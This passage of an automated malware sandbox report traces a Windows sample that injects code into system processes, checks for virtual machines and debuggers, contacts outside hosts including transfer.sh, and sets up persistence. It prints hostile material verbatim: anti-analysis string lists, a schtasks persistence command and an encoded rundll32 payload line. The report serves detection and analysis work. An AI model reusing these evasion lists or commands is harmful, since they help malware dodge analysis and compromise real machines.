Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\System32\rundll32.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\

Source: fontview.exe, 00000013.00000002.467467655.00000000035B0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: VMware
Source: fontview.exe, 00000013.00000002.467740836.0000000003698000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.445080033.0000000003698000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HMicrosoft-Windows-Hyper-V-Hypervisor
Source: 226F.exe, 00000010.00000002.480422025.0000000002F20000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: DllRegisterServerwkANimhDMAwWV3szQXyvBuPQC78zCscyzexusDvMOYwfSOSysandboxk5iQr5xKkhFi0oixFMGqksOZvxBFcBSxp0cQkIPrNCyQHM3wLlxT6Cdbbs26eSkv7845SwCp2eblGwhvHDTWSogz9U9CgzzsDh2um9tzTcXYzLxsGKNiDiwisTXFFjpshttp://gEKjeGOUdN6i5fBcEs.jOmF6MtoBKl32eAI1QwqxSxpNFyV2sMicrosoft Basic Display AdapterapxALpLEWoMRTxoqbiS5VVQOzJTDWDypDWoJSVZo2QACQsioYxzAfz3u9IKX2BQn6EzzoxJp5PsUZkqmTghzqELr5eG7GRimerCTfOUnCFE4bGUm7h3r60PJIoCTMJ0m%lS\%d.dllQU673JXmPb9xS6blT0XDs1ALT0EJ5hLlaKOwfxnBjFiiOltkI8wpbYDtnFYR40qjP9YSa5NKhRybkS7ixE6tWUfx1eVdsUkhnifax tegawo nip xehN9YxfM4WgP9Yuo5hXPmc4XQ1BZlDjlngvboxtray.exevmwaretray.exewechat.exevmwareuser.exeFiddler.exeprocesshacker.exeqq.exeprocexp.exerdpclip.exeWireshark.exeKawexi gequeci bovoj.exevboxservice.exeVGAuthService.exevmtoolsd.exeprl_cc.exeHTTPDebuggerUI.exeHttpAnalyzerStdV7.exePROCEXP64.exe9vcQbULrEEOHDRqecloudsafelineyq7T94qzPuDeOrTe80urpbYHQ3908aPeycDDggZJIPRjtkOe8J4Wdllbx1ApOW9evbZ1uo2T2UbMGtUdBSQDYJSbaLF5CgvcsFImbSiBECUOLzpcIk2VP28ir0vTy4TbDYVLfRsd5XNE93cYiigvV5kbWQ4w2roU3OQVpirDLVGrVmVTmqRp5j7SuNTW6WJSccDmayghiNoZWAXRSZKcI5fN6d9y9HJRZHIX2jJ5ndQDFLbQ7Gsn9COrx41kruaQxiHNEOIqB1voNhHQfpG6n3LiJpAEsKGQbMh2wfPZkMIH3jpNw2wwL4qOww0SAvLN7QPqaculbYlOPumLDjFmGrxyrkqKoVNJkrD4pQP2PQ8FNc7JabGGRSw4W0K7VSsICQYE9Jt8N0nVh1MITQsnOGZQBxmijylHv2DLczJ486OVC7eHTPLwz4Nt1Dg4jsqGyzCqbMr6MBLZrXjGOxTXcYoA7fBPn0eGH7Ex8dg8NsycsAOGd5g0Nv7r0LVA09KGcaWtJO5Tb2I2LhAGZrMz4T0Epaso079GslJNUY5E4dliUTNFlXFuZSNaEVRrIGWChIYUgq9hHpqOdBLBiAQmME3ZwAAGkEJB4gPxySrtR5EFN43BbtxiTk2KKfog8JcArlOy8gS3rrvRRJNAUFJSzgakwzM2deQ8oCWpzq6o4rIWMrY77FlbkvUsfeYwtpb6Y2CToyPqlwYaqay5DndXG1BsVppP4Jq5WxP1Oq3y3dHBZrc5X4kw1cn7yJdb9J450JE0s2Rdql7gxWP4zkmA4WMYvM2YZr24zUIl8P9x5RU6f5F2Hm4yAEQ4STv1pKj0
Source: 2560.exe, 00000011.00000003.362777696.00000000007EA000.00000004.00000020.00020000.00000000.sdmp, 2560.exe, 00000011.00000002.364169041.00000000007EA000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000002.467740836.0000000003649000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.275078678.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: fontview.exe, 00000013.00000002.467467655.00000000035B0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: VMWARE
Source: fontview.exe, 00000013.00000002.467740836.0000000003649000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: HMicrosoft-Windows-Hyper-V-Hypervisor-
Source: fontview.exe, 00000013.00000002.468130590.0000000004F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}SymbolicLinke5d05f0c9f}SymbolicLink
Source: explorer.exe, 00000001.00000000.275078678.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}i,
Source: explorer.exe, 00000001.00000000.268540188.0000000005063000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}9'
Source: fontview.exe, 00000013.00000002.468130590.0000000004F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}SymbolicLinkymbolicLinkSymbolicLink
Source: ngentask.exe, 00000012.00000002.457360709.00000000017A7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: explorer.exe, 00000001.00000000.275078678.00000000090D8000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}z,
Source: 226F.exe, 00000010.00000002.479576664.000000000168A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll9
Source: fontview.exe, 00000013.00000003.444938250.000000000368E000.00000004.00000020.00020000.00000000.sdmp, fontview.exe, 00000013.00000003.445080033.0000000003695000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Microsoft-Windows-Hyper-V-Hypervisor
Source: fontview.exe, 00000013.00000002.468130590.0000000004F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#5&1ec51bf7&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}SymbolicLinkymbolicLink0c9f}SymbolicLink?
Source: fontview.exe, 00000013.00000003.383001700.0000000003666000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WQLrandomRandom name%ThisIsAnInvalidFileName?[]<>@\;!-{}#:/~%%ThisIsAnInvalidEnvironmentVariableName?[]<>@\;!-{}#:/~%cmdvrt32.dllcmdvrt64.dllwpespy.dllvmcheck.dllpstorec.dlldir_watch.dllapi_log.dlldbghelp.dllsbiedll.dllsnxhk.dllavghooka.dllavghookx.dlltestapp.exemyapp.exeklavme.exetest.exemalware.exesandbox.exebot.exesample.exeJohn Doevirustest usermaltestmalwaresand boxusertimmyPeter WilsonmilozsMillerJohnsonIT-ADMINHong LeeHAPUBWSEmilySandboxCurrentUserTEQUILABOOMBOOMFORTINETWIN7-TRAPSMUELLER-PCJOHN-PCHANSPETER-PC7SILVIASANDBOXC:\a\foobar.gifC:\a\foobar.docC:\a\foobar.bmpC:\123\email.docxC:\123\email.docC:\email.htmC:\email.docC:\loaddll.exeC:\take_screenshot.ps1JohnKLONE_X64-PCSystemITadminSWSCWilberNumberOfCoresSELECT * FROM Win32_ProcessorvirtualqemuvmwarevboxVBoxVBoxVBoxParallels Hvprl hyperv XenVMMXenVMMVMwareVMwareMicrosoft HvKVMKVMKVMA M IVirtualXen0ParallelsVMWareSerialNumberSELECT * FROM Win32_BIOSHVM domUVirtualBoxModelSELECT * FROM Win32_ComputerSystemQEMUinnotek GmbHManufacturerProcessorIdVMWxenvirtioSystem\CurrentControlSet\Enum\SCSISystem\CurrentControlSet\Enum\IDESELECT * FROM CIM_PhysicalConnector06/23/99SystemBiosDateVIRTUALBOXVideoBiosVersionSystemBiosVersionIdentifierHARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus 0\Target Id 0\Logical Unit Id 0HARDWARE\Description\SystemVBOXSYSTEM\ControlSet001\Services\VBoxVideoSYSTEM\ControlSet001\Services\VBoxSFSYSTEM\ControlSet001\Services\VBoxServiceSYSTEM\ControlSet001\Services\VBoxMouseSYSTEM\ControlSet001\Services\VBoxGuestSOFTWARE\Oracle\VirtualBox Guest AdditionsHARDWARE\ACPI\RSDT\VBOX__HARDWARE\ACPI\FADT\VBOX__HARDWARE\ACPI\DSDT\VBOX__System32\VBoxControl.exeSystem32\vboxtray.exeSystem32\vboxservice.exeSystem32\vboxoglpassthroughspu.dllSystem32\vboxoglpackspu.dllSystem32\vboxoglfeedbackspu.dllSystem32\vboxoglerrorspu.dllSystem32\vboxoglcrutil.dllSystem32\vboxoglarrayspu.dllSystem32\vboxogl.dllSystem32\vboxmrxnp.dllSystem32\vboxhook.dllSystem32\vboxdisp.dllSystem32\drivers\VBoxVideo.sysSystem32\drivers\VBoxSF.sysSystem32\drivers\VBoxGuest.sysSystem32\drivers\VBoxMouse.sys%ProgramW6432%\\.\pipe\VBoxTrayIPC\\.\VBoxTrayIPC\\.\pipe\VBoxMiniRdDN\\.\VBoxGuest\\.\VBoxMiniRdrDNVBoxTrayToolWndVBoxTrayToolWndClassVirtualBox Shared Foldersvboxtray.exevboxservice.exePCI\VEN_80EE&DEV_CAFEDeviceIdSELECT * FROM Win32_PnPEntityOpenHCD82371SB82441FX82801FBNameVEN_VBOXPNPDeviceIDCaptionSELECT * FROM Win32_PnPDevicePNP_BUS_0PCI_BUS_0ACPIBus_BUS_0SELECT * FROM Win32_BusOracle CorporationProductSELECT * FROM Win32_BaseBoardSourcesSystemFileNameSELECT * FROM Win32_NTEventlogFileVBoxWddmVBoxVideoW8vboxvideoVBOXvboxVirtualBoxSystemProductNameSystemManufacturerHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0HARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0SYSTEM\ControlSet001\Control\SystemInformationVMWARESOFTWARE\VMware, Inc.\VMware Toolsvmacthlp.exeVGAuthService.exevmwareuser.exevmwaretray.exevmtoolsd.exeVMwareVMWAREvdservice.exevdagent.exeqemu-ga.e
Source: fontview.exe, 00000013.00000003.387503810.00000000055A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DisableGuestVmNetworkConnectivity
Source: fontview.exe, 00000013.00000002.467467655.00000000035B0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: fontview.exe, 00000013.00000002.467716814.0000000003647000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files (x86)\qemu-gag
Source: explorer.exe, 00000001.00000000.270686003.0000000007166000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>
Source: fontview.exe, 00000013.00000003.445080033.0000000003695000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: amdxataApplication Management Group PolicyApplication PopupAppReadinessarcsasAsyncMacatapib06bdrvBasicRenderbeepBugCheckcdromcht4iscsicht4vbdDCOMDfsSvcDhcpDhcpv6diskDisplayDnsapiDnscachee1iexpressebdrveventlogexFATFltMgrfvevolHidBthhidi2cHpSAMDHttpi8042prtiaStorAVCiaStorVibbusIntel-iaLPSS-GPIOIntel-iaLPSS-I2CIntel-iaLPSS2-GPIO2Intel-iaLPSS2-I2CintelppmIPMGMIPMIDRVIPNATHLPIPRouterManagerireventsisapnpiScsiPrtItSas35ikbdclasskbdhidkdnicKerberosLfsvclltdioLmHostsLsaSrvLSI_SASLSI_SAS2iLSI_SAS3iLSI_SSSLSMmegasasmegasas2imegasas35imegasrMicrosoft-Windows-Audit-CVEMicrosoft-Windows-BitLocker-APIMicrosoft-Windows-BitLocker-DriverMicrosoft-Windows-Bits-ClientMicrosoft-Windows-Bluetooth-BthLEPrepairingMicrosoft-Windows-CoreSystem-InitMachineConfigMicrosoft-Windows-CoreSystem-NetProvision-JoinProviderOnlineMicrosoft-Windows-CorruptedFileRecovery-ClientMicrosoft-Windows-CorruptedFileRecovery-ServerMicrosoft-Windows-Devices-BackgroundMicrosoft-Windows-DfsSvcMicrosoft-Windows-Dhcp-ClientMicrosoft-Windows-DHCPv6-ClientMicrosoft-Windows-Diagnostics-NetworkingMicrosoft-Windows-Directory-Services-SAMMicrosoft-Windows-DiskDiagnosticMicrosoft-Windows-DistributedCOMMicrosoft-Windows-DNS-ClientMicrosoft-Windows-DriverFrameworks-UserModeMicrosoft-Windows-EnhancedStorage-EhStorTcgDrvMicrosoft-Windows-EventCollectorMicrosoft-Windows-EventlogMicrosoft-Windows-exFAT-SQMMicrosoft-Windows-Fat-SQMMicrosoft-Windows-Fault-Tolerant-HeapMicrosoft-Windows-FilterManagerMicrosoft-Windows-FirewallMicrosoft-Windows-FMSMicrosoft-Windows-FunctionDiscoveryHostMicrosoft-Windows-GPIO-ClassExtensionMicrosoft-Windows-GroupPolicyMicrosoft-Windows-HALMicrosoft-Windows-HttpEventMicrosoft-Windows-Hyper-V-HypervisorMicrosoft-Windows-IphlpsvcMicrosoft-Windows-IsolatedUserModeMicrosoft-Windows-Kernel-BootMicrosoft-Windows-Kernel-GeneralMicrosoft-Windows-Kernel-Interrupt-SteeringMicrosoft-Windows-Kernel-IOMicrosoft-Windows-Kernel-PnPMicrosoft-Windows-Kernel-PowerMicrosoft-Windows-Kernel-Processor-PowerMicrosoft-Windows-Kernel-TmMicrosoft-Windows-Kernel-WHEAMicrosoft-Windows-Kernel-XDVMicrosoft-Windows-LanguagePackSetupMicrosoft-Windows-Memory-Diagnostic-Task-HandlerMicrosoft-Windows-MemoryDiagnostics-ResultsMicrosoft-Windows-MemoryDiagnostics-ScheduleMicrosoft-Windows-MountMgrMicrosoft-Windows-NDISMicrosoft-Windows-NdisImPlatformSysEvtProviderMicrosoft-Windows-NetworkBridgeMicrosoft-Windows-NtfsMicrosoft-Windows-Ntfs-UBPMMicrosoft-Windows-OfflineFilesMicrosoft-Windows-OverlayFilterMicrosoft-Windows-PersistentMemory-NvdimmMicrosoft-Windows-PersistentMemory-PmemDiskMicrosoft-Windows-Power-Meter-PollingMicrosoft-Windows-Power-TroubleshooterMicrosoft-Windows-ReFSMicrosoft-Windows-ReFS-v1Microsoft-Windows-ResetEngMicrosoft-Windows-Resource-Exhaustion-DetectorMicrosoft-Windows-ResourcePublicationMicrosoft-Windows-SCPNPMicrosoft-Windows-Serial-ClassExtensionMicrosoft-Windows-Serial-ClassExtension-V2Microsoft-Windows-ServicingMicrosoft-Windows-SetupMicrosoft-Windows-SetupPlatformMicrosoft-Windows-SPB-ClassE
Source: explorer.exe, 00000001.00000000.275078678.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&0000001 ZG
Source: fontview.exe, 00000013.00000003.387503810.00000000055A0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: EnableGuestVmNetworkConnectivity
Source: explorer.exe, 00000001.00000000.275078678.0000000008FE9000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000

Source: C:\Windows\explorer.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\336E.exe

Code function: 14_2_00428390 FindFirstFileExW,

14_2_00428390

Anti Debugging

Hides threads from debuggers

Source: C:\Windows\SysWOW64\fontview.exe	Thread information set: HideFromDebugger
Source: C:\Windows\SysWOW64\fontview.exe	Thread information set: HideFromDebugger
Source: C:\Windows\SysWOW64\fontview.exe	Thread information set: HideFromDebugger

Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_02BF0D90 mov eax, dword ptr fs:[00000030h]	0_2_02BF0D90
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Code function: 0_2_02BF092B mov eax, dword ptr fs:[00000030h]	0_2_02BF092B
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_02C30D90 mov eax, dword ptr fs:[00000030h]	13_2_02C30D90
Source: C:\Users\user\AppData\Roaming\dbjigst	Code function: 13_2_02C3092B mov eax, dword ptr fs:[00000030h]	13_2_02C3092B
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_0041E1B1 mov ecx, dword ptr fs:[00000030h]	14_2_0041E1B1
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_0042950B mov eax, dword ptr fs:[00000030h]	14_2_0042950B

Source: C:\Users\user\AppData\Local\Temp\226F.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\fontview.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\fontview.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\fontview.exe	Process queried: DebugFlags
Source: C:\Windows\SysWOW64\fontview.exe	Process queried: DebugObjectHandle
Source: C:\Windows\SysWOW64\fontview.exe	Process queried: DebugObjectHandle
Source: C:\Windows\SysWOW64\fontview.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\336E.exe

Code function: 14_2_00413DCA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

14_2_00413DCA

Source: C:\Users\user\AppData\Local\Temp\336E.exe

Code function: 14_2_0042BCAF GetProcessHeap,

14_2_0042BCAF

Source: C:\Windows\SysWOW64\fontview.exe

System information queried: KernelDebuggerInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_00414035 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	14_2_00414035
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_00413DCA IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00413DCA
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_00417E53 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	14_2_00417E53
Source: C:\Users\user\AppData\Local\Temp\336E.exe	Code function: 14_2_00413F2C SetUnhandledExceptionFilter,	14_2_00413F2C

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: potunulit.org
Source: C:\Windows\explorer.exe	Network Connect: 188.114.97.3 80	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Network Connect: 109.206.243.168 80
Source: C:\Windows\System32\dllhost.exe	Domain query: transfer.sh

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: dbjigst.1.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dbjigst	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dbjigst	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Section loaded: unknown target: C:\Windows\System32\dllhost.exe protection: execute and read and write

Encrypted powershell cmdline option found

Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process created: Base64 decoded start-sleep -seconds 90
Source: C:\Users\user\AppData\Local\Temp\Library.exe	Process created: Base64 decoded start-sleep -seconds 90

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\226F.exe	Memory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe base: 400000 protect: page read and write			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Memory allocated: C:\Windows\SysWOW64\fontview.exe base: 3290000 protect: page read and write			Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\2560.exe	Memory written: C:\Users\user\AppData\Local\Temp\2560.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Memory written: C:\Windows\SysWOW64\fontview.exe base: 3290000 value starts with: 4D5A	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\aw9Ynwqd1x.exe	Thread created: C:\Windows\explorer.exe EIP: 3491B14			Jump to behavior
Source: C:\Users\user\AppData\Roaming\dbjigst	Thread created: unknown EIP: 5851B14			Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\226F.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe base: 10EE008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Memory written: C:\Windows\SysWOW64\fontview.exe base: 3290000	Jump to behavior

.NET source code references suspicious native API functions

Source: 16.3.226F.exe.d030000.1.unpack, MemoryImport.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibraryA@kernel32.dll')
Source: 16.3.226F.exe.d030000.0.unpack, MemoryImport.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibraryA@kernel32.dll')
Source: 18.2.ngentask.exe.400000.0.unpack, MemoryImport.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32.dll'), ('LoadLibrary', 'LoadLibraryA@kernel32.dll')
Source: Library.exe.25.dr, ue067.cs	Reference to suspicious API methods: ('?', 'GetProcAddress@kernel32.dll'), ('?', 'LoadLibrary@kernel32.dll')

Queues an APC in another process (thread injection)

Source: C:\Windows\System32\rundll32.exe

Thread APC queued: target process: C:\Windows\System32\dllhost.exe

Source: C:\Windows\SysWOW64\fontview.exe	Process created: C:\Windows\System32\rundll32.exe "c:\users\user\appdata\roaming\nsis_uns5aa2a3.dll",printuientry \|5cqkohmaaaa\|1tkr5gsmwyd\|67sdqg8oaal\|xymwxc0tnso\|1k8b3tzkgiyf2sazqbyag4xap9sadmamgauakvkhwbs8\|atbqpz8fp\|afoaeqbpagl7aeenaemaaaa3\|wbvaesazwbj\|i0cwuid7cjobp8caabig8qow\|\|mzmxmiuqkgp9iivqkeeijtpskcf0bsitejdbvsikejieboehval8ismdejbataet9doebeeidwagpad0qgqfasdmwahml\|p8diwwksapisf+lwuiltksbvhsa\|wprsivkigmi9wjrwwyfzuilbpslyppwm8lii1d\|geg70xq2sip\|wibiiwjio8l\|dcpmg3highx\|gkylqfbmqypvogt0bxers3ui\|heqebaudavii78a69vii0j9amh+agbau1vwv0fuv0fvqvzbv10bzv+bou1atyv4tp+l8kil2q+f\|p7z8exjstxbgtz\|cvbfaaapheq+8\|bbi4qjippwhf\|asi08aq+e1t5qeyo8cywtaq+e\|cfz8eslzybei\|9fhit3jeslt\|8ytaphtapzsp8d8tpjryxjd\|uepppwtyveqyv\|eeuz0kgd04r\|aotadb1bwcrvdq++wpoaauqd\|dc\|exxsqyh6qv\|8dxx0dopbaf9jg8aeqtvjc\|9p68alwq+3dp9oryssi0wd6+90wdptqhb0uuh7ixtbanmzyyocf0ylwuspwcniexsdyouqaugkanuq\|+0zwdp2qtsm+bbgekyag8ybg\|j\|chlu6wpii8v\|qf\|vsyke94p9xeqqxaq7bxhy\|a9mauffqv5bxb9bxf9exvszf0jvgexgawqai+no\|2b+\|\|9ihcapw4sydsbmja8biysq38gz\|+ibfscnx\|8eti1frjpsi9\|l\|1qkaiagtiuv4a+ea3ugragqm\|fai9orieijfct1ikygciagsivwd\|oes3ugpibqsi1w\|whejudasi2m\|ssfeuil2oh8\|a5+ii1wsn4geoihzpbz8ohn7ybeiwan01ciqscmifjkiymeaysahxle8\|cldtogj1ijjcrxeqcwksdo7thviiucltjmi12\|okid+2xiiiaw\|0yjzcq4tiuk7hoytilchagejny2hxggko0rjudlmiz7jpdz8eml1ojp7fwfmiqcedjijyt+edjbgpmhju9s90qwgkqcg+kbdffzgbx4mifszxi\|du2lhct0ijgu+yt4nqhcsdvycv84g\|psdjnejxtjqpoaleg4ajgaeqygqmoi+hqzrlywvsaxsy1ujgyrienfg+hs6gucmeil\|c6mihhihf90es+lvujmjjabmuin\|0wkqp\|xsiheahqhysqtcc0b
Source: C:\Windows\SysWOW64\fontview.exe	Process created: C:\Windows\System32\rundll32.exe "c:\users\user\appdata\roaming\nsis_uns5aa2a3.dll",printuientry \|5cqkohmaaaa\|1tkr5gsmwyd\|67sdqg8oaal\|xymwxc0tnso\|1k8b3tzkgiyf2sazqbyag4xap9sadmamgauakvkhwbs8\|atbqpz8fp\|afoaeqbpagl7aeenaemaaaa3\|wbvaesazwbj\|i0cwuid7cjobp8caabig8qow\|\|mzmxmiuqkgp9iivqkeeijtpskcf0bsitejdbvsikejieboehval8ismdejbataet9doebeeidwagpad0qgqfasdmwahml\|p8diwwksapisf+lwuiltksbvhsa\|wprsivkigmi9wjrwwyfzuilbpslyppwm8lii1d\|geg70xq2sip\|wibiiwjio8l\|dcpmg3highx\|gkylqfbmqypvogt0bxers3ui\|heqebaudavii78a69vii0j9amh+agbau1vwv0fuv0fvqvzbv10bzv+bou1atyv4tp+l8kil2q+f\|p7z8exjstxbgtz\|cvbfaaapheq+8\|bbi4qjippwhf\|asi08aq+e1t5qeyo8cywtaq+e\|cfz8eslzybei\|9fhit3jeslt\|8ytaphtapzsp8d8tpjryxjd\|uepppwtyveqyv\|eeuz0kgd04r\|aotadb1bwcrvdq++wpoaauqd\|dc\|exxsqyh6qv\|8dxx0dopbaf9jg8aeqtvjc\|9p68alwq+3dp9oryssi0wd6+90wdptqhb0uuh7ixtbanmzyyocf0ylwuspwcniexsdyouqaugkanuq\|+0zwdp2qtsm+bbgekyag8ybg\|j\|chlu6wpii8v\|qf\|vsyke94p9xeqqxaq7bxhy\|a9mauffqv5bxb9bxf9exvszf0jvgexgawqai+no\|2b+\|\|9ihcapw4sydsbmja8biysq38gz\|+ibfscnx\|8eti1frjpsi9\|l\|1qkaiagtiuv4a+ea3ugragqm\|fai9orieijfct1ikygciagsivwd\|oes3ugpibqsi1w\|whejudasi2m\|ssfeuil2oh8\|a5+ii1wsn4geoihzpbz8ohn7ybeiwan01ciqscmifjkiymeaysahxle8\|cldtogj1ijjcrxeqcwksdo7thviiucltjmi12\|okid+2xiiiaw\|0yjzcq4tiuk7hoytilchagejny2hxggko0rjudlmiz7jpdz8eml1ojp7fwfmiqcedjijyt+edjbgpmhju9s90qwgkqcg+kbdffzgbx4mifszxi\|du2lhct0ijgu+yt4nqhcsdvycv84g\|psdjnejxtjqpoaleg4ajgaeqygqmoi+hqzrlywvsaxsy1ujgyrienfg+hs6gucmeil\|c6mihhihf90es+lvujmjjabmuin\|0wkqp\|xsiheahqhysqtcc0b

Source: C:\Users\user\AppData\Local\Temp\336E.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "svcupdater" /tr "C:\Users\user\AppData\Roaming\Win32Sync\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2560.exe	Process created: C:\Users\user\AppData\Local\Temp\2560.exe C:\Users\user\AppData\Local\Temp\2560.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\226F.exe	Process created: C:\Windows\SysWOW64\fontview.exe C:\Windows\SYSWOW64\fontview.exe	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\system32\dllhost.exe
Source: C:\Windows\System32\dllhost.exe	Process created: C:\Users\user\AppData\Local\Temp\Library.exe "C:\Users\user\AppData\Local\Temp\Library.exe"
